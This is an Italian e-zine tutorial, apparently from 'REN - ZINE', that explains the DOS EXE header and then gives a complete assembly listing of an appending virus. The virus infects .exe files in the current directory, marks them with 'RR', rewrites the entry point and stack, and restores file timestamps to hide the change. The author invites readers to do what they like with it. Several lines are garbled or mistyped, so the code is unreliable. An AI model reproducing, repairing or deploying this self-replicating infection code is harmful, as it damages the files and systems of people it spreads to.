L'infezione di files .exe
Prima di tutto voglio iniziare l'articolo con una piccola spiegazione nell'ultima edizione:"Com files, come ora sapete, sono piùttosto piccoli e specialmente per programmi più grandi oggi viene usato il formato .exe.La cosa forse più importante è che i files .exe non vengono caricati subito in memoria come i com files.Ogni exe file possiede all'inizio del file un cosiddetto EXE Header, nel quale sono contenuti informazioni tipo da dove far partire il file, dove si trova lo stack ecc...Dopodichè troviamo la relocation table, con la quale il DOS modifica i segment pointers.Ogni relocation ha una grandezza di 4 bytes.Quando il DOS carica un exe, prima cercherà il primo segment libero e poi caricherà il PSP nello stesso segment."
Ora,quando il DOS caricha il file,verranno aggiunti 10h al code segment,ed es e ds punteranno al PSP.Ciò significa che il programma inizia da CS:0000.Per quanto riguarda il nostro virus,dobbiamo creare il un segmento dentro all'exe e cambiare l'entry point.Ecco perchè abbiamo conosciuto l'exe header già nella REN - ZINE #2, visto che lo dovremo modificare e quindi ci offre delle informazioni indispensabili.
Allora ricapitoliamo, le cose e le differenze principali sono: Il PSP viene creato anche nell'exe, soltanto che il CS non punta su di esso,ma direttamente all'entry point, che si può trovare ovunque.In un file exe dobbiamo inizialiazzare noi lo stack.Code,data e stack non si trovano in un segmento unico, quindi dobbiamo carichare l'indirizzo del data in ds quando lavoriamo sul file .exe.
Quindi quello che dovremo fare consiste in: Salvare i registri che dopo modificheremo;Appendero il nostro virus alla fine del file;Settare CS:IP in modo che opunti verso il codice virale;Ricalcolare la grandezza del file;Ripassare il controllo al file originale,ricordando che CS:IP dovrà puntare al vecchio entry point, ES e DS dovranno puntare al PSP e dovremo anche modificare CS e SS aggiungendo ES+10 (ecco il 10h).
Il resto del codice, cioò quello che riguarda il DTA, il delta offset resta sempre lo stesso.Adesso esaminiamo le cose nuove
push ds ; ora salviamo i registri
push es
push cs
pop ds ; ora ds corrisponde a cs
push cs
pop es ; ed es corrisponde a cs
lea si,[bp+offset cs_ip] ; salviamo le parti importanti del header
lea di,[bp+offset originale] ; il cs:ip originale
movsw
movsw
movsw
movsw ; e concludiamo con move string (word)
Imvece per leggere il nostro header e di conseguenza confrontare se il file è già stato infettato,tramite una stringa d'identificazione, usiamo
mov ah,3fh ; funzione per leggere dal file
mov cx,1ah ; la quantità di bytes da leggere
lea dx,[bp+offset buffer] ; salviamo tutto quanto in dx
int 21h ; ecco fatto
cmp word ptr [bp+buffer+10h],"RR" ; controlliamo se il file è già stato infettato
jz esci ; nel caso che fosse così usciamo semplicemente
Il resto verrà spiegato nel virus seguente, visto che sarebbe solamente una ripetizione inutile.
Questo è un semplice exe appending virus,che infetterà solamente i files nella directory in cui viene eseguito.
.model tiny ;il modello usato,ovviamente tiny nel nostro caso
.code ; ecco che facciamo creare il code segment
org 100h ; l'inizio del com file
inizio:
continua: call codice_vir ; continuiamo con il codice
codice_vir: pop bp
sub bp,offset codice_vir ; calcoliamo il delta offset
push ds ; salviamo ds
push es ;
push cs
pop ds ; ora ds corrisponde a cs
push cs
pop es; ed es corrisponde a cs
lea si,[bp+offset cs_ip]
lea di,[bp+offset originale] ; cs:ip originale
movsw
movsw
movsw
movsw
lea dx,[bp+offset dta] ; per spostare la DTA
call setta_dta ; chiamiamo la routine che setta il nuovo indirizzo
mov [bp+num_infezioni],byte ptr 0 ; azzera il contatore delle infezioni
lea dx,[bp+offset tipo_file] ; caricha il tipo di files
call trova ; la routine che cercherà il primo file
;altrimenti ripristiniamo tutto quanto com'era
mov dx,80h ; l'indirizzo del dta
call setta_dta ; e lo mettiamo a posto
pop es
pop ds ; ripristiniamo i registri originali
mov ax,es ; ax per il nostro PSP
add ax,10h ; ecco i 10h che dobbiamo aggiungere
add word ptr cs:[bp+originale+2],ax
add ax,word ptr cs:[bp+salva_stack+2] ; aggiunngiamo il valore per lo stack
cli ; disablitiamo gli interrupts poichè andremo a modificare lo stack
mov sp,word ptr cs:[bp+salva_stack] ; modifichiamo il sp
mov ss,ax ; aggiustiamo l'ss
sti ; riabilitiamo gli interrupts
db 0eah ; ripassiamo il controllo al file originale
originale dd ? ; il cs:ip originale
salva_stack dd ? ; questo invece riguarda il ss:sp
cs_ip dd 0fff00000h
stack_salva ; riguarda sempre il nostro stack
trova: cmp [bp+num_infezioni],X ; controlliamo se tutte le infezioni siano state effettuate
ja esci ; se abbiamo finito
mov ah,4eh ; altrimenti cerchiamo il primo file
mov cx,7 ; riguarda tutti gli attributi
ancora: int 21h ; esegue il codice
jc esci
call salva_bytes ; chiamiamo il codice "d'infezione"
mov ah,4fh ; trova il prossimo file
jmp ancora
esci: ret ; ritorniamo da dove siamo venuti
salva_bytes: mov ax,3d00h ; apre il file in sola lettura
call apri
mov ah,3fh ; funzione per leggere dal file
mov cx,1ah ; la quantità da leggere
lea dx,[bp+offset buffer] ; andiamo a salvare le informazioni
int 21h ; esegue tutto ciò
mov ah,3eh ; chiude di nuovo il file
int 21h
identificazione: cmp word ptr [bp+buffer+10h],"RR" ; controlliamo se il file è già stato infettato
jz esci_ident ; se fosse così ce ne andiamo
jmp infetta ; altrimenti andiamo ad infettare il file
esci_ident: ret
infetta: les ax,dword ptr [bp+buffer+14h] ; ora salviamo le parti più importanti del header
mov word ptr [bp+cs_ip],ax ; salviamo il cs:ip
mov word ptr [bp+cs_ip+2],es
les ax,dword ptr [bp+buffer+0eh] ; ora andiamo a salvare anche il ss:sp
mov word ptr [bp+stack_salva],es
mov word ptr [bp+stack_salva+2],ax
mov ax,word ptr [bp+buffer+8] ; carichiamo la grandezza del header
mov cl,4
shl ax,cl ; e la convertiamo in bytes
xchg ax,bx
les ax,[bp+offset dta+26];carichiamo la grandezza del file tramite il dta
mov dx,es
push ax
push es ; e di conseguenza la salviamo
sub ax,bx ; grandezza del header - grandezza del file
sbb dx,0
mov cx,10h
div cx ; e convertiamo ciò in segmet:offset
mov word ptr [bp+buffer+14h],dx ; l'entry point nuovo
mov word ptr [bp+buffer+16h],ax ; l'indirizzo del code segment nuovo
mov word ptr [bp+buffer+0eh],ax ; l'indirizzo del stack segment nuovo
mov word ptr [bp+buffer+10h],"RR" ; ci mettiamo la nostra stringa d'identificazione
pop dx
pop ax ; ricarichiamo la grandezza del file
add ax, fine-continua ; aggiungiamo la grandezza del virus
adc,0 ; lo stesso vale per il carry
mov cl,9 ; Ora calcoliamo la nuova grandezza del file (con il virus).il nove sta per
2 alla 9,cioè 512, la grandezza di una page
push ax
shr ax,cl ; adesso calcoliamo il nuovo numero di pages
roro dx,cl
adc dx,ax ; e la quantità di bytes nell'ultima pagina
pop ax
and ah,1 ; ecco fatto
mov word ptr [bp+buffer+4],dx ; salviamo la nuova grandezza nel file header
mov word ptr [bp+buffer+2],ax
push cs ; salviamo cs
pop es ; e ripristiniamo es
mov cx,1ah ; la grandezza del header
conludiamo: push cx ; salviamo la quantità di bytes da scrivere
xor cx,cx ; azzera cx = attributi a zero
mov al,2 ; apre il file in modo di letture e scrittura
chiama apri
mov ah,40h ; funzione per scrivere
lea dx, [bp+buffer] ; dove andremo a scrivere i bytes
pop cx ; carichiamo la quantità di bytes da scrivere
int 21h ; esegue tutto quanto
jc chiudi
mov al,02
call pointer_ ; spostiamo il file pointer
mov ah,40h ; funzione per scrivere
mov cx,fine-continua ; la grandezza del virus da scrivere
lea dx,[bp+offset continua] ; iniziando da "continua"
int 21h ; ecco fatto
inc [bp+num_infezioni] ; incrementiamo il contatore delle infezioni
chiudi: mov ax,5701h ; risettiamo la data e ora
mov cx,word ptr [bp+dta+16h] ; carichiamo l'ora originale dal dta
mov dx,word ptr [bp+dta+18h]; carichiamo la data originale
int 21h
mov ah,3eh ; infine chiudiamo il file
int 21h
retn
pointer_:mov ah,42h ; funzione per spostare il file pointer
xor cx,cx
xor dx,dx
retn
setta_dta: mov ah,1ah ; sposta il DTA
int 21h
retn
apri:mov ah,3dh ; funzione per aprire il file
lea dx,[bp+dta+30] ; il nome del file nel DTA
xchg ax,bx
ret
tipo_file db "*.ex*",0 ; il tipo di file da infettare
fine label ; solamente un un punto di riferimento
num_infezioni db 0 ; il contatore delle infezioni
dta db 42 dup (?) ; l'indirizzo del nuovo dta
buffer db 1ah dup (?) ; per i dati del header che salviamo
end inzio ; e quindi abbiamo finito
Si tratta solo di un semplice esempio, come notate neanche qui controlliamo se si tratta veramente di un file exe (MZ).Comunque l'importante è capire il principio, poi dopo ci potete fare quello che volete con un virus.
Indice - VAI